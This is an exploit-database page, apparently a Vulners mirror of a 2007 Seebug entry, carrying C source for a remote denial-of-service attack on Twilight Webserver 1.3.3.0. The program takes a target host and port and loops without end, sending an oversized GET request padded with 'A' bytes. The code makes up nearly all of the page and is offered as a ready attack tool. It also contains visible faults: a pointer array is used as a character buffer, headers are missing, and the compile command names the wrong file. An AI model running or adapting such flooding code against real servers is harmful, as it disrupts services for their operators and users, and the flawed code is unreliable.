Lucene search
K

Twilight Webserver 1.3.3.0 (GET) Remote Denial of Service Exploit

🗓️ 17 Jan 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

Twilight Webserver 1.3.3.0 Denial of Service Attack Exploi

Code

                                                /****************************************************************************
*      Denial of Service Attack against Twilight Webserver v1.3.3.0
*       Author: H0tTurk-
*     
*      WebSite: http://www.twilightutilities.com
*       Version: Twilight Webserver v1.3.3.0 $24.95 USD
*       NewVersion: Tw 2.1
*      
*       Exploit: tw.c
*       Compile: gcc twilight -o tw
*       Contact:
*       [-] Mail: [email protected]
*       [-] Web: http://www.ayyildiz.org

*       [-] MSN: [email protected]
*****************************************************************************/

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
        int sockfd;
        struct sockaddr_in srv;
        struct hostent *host;
        char send[1052], *flood[1037], get[3] = "GET", http[12] = "HTTP/1.0\r\n";

        memset(flood, 0x41, 1037);
       
        strncpy(send, get, sizeof(send) -1);
        strncat(send, flood, sizeof(send) - strlen(send) -1);
        strncat(send, http, sizeof(send) - strlen(send) -1);
       
        if(argc < 3)
        {
                printf("Usage: %s [target] <port>\n", argv[0]);
                exit(0);
        }

        if((host = gethostbyname(argv[1])) == NULL)
        {      
                printf("Unknown host!\n");
                exit(0);
        }
       
        srv.sin_family = AF_INET;
        srv.sin_port = htons(atoi(argv[2]));
        srv.sin_addr.s_addr = inet_addr((char*)argv[1]);

        printf("h0t against Twilight Webserver v1.3.3.0\n");

        for(;;)
        {
                if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
                {
                        printf("Can't start socket()!\n"); exit(0);
                }
       
                if(connect(sockfd,(struct sockaddr*)&srv, sizeof(srv)) < 0)
                {
                        printf("Connection to server broken!\n"); close(sockfd);
                }
       
                if(write(sockfd, send, strlen(send)) < 0)
                {
                        break;
                }
       
                close(sockfd);
        }
       
        printf("Attack done!...\n");
       
        return 0;
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Jan 2007 00:00Current
7.1High risk
Vulners AI Score7.1
14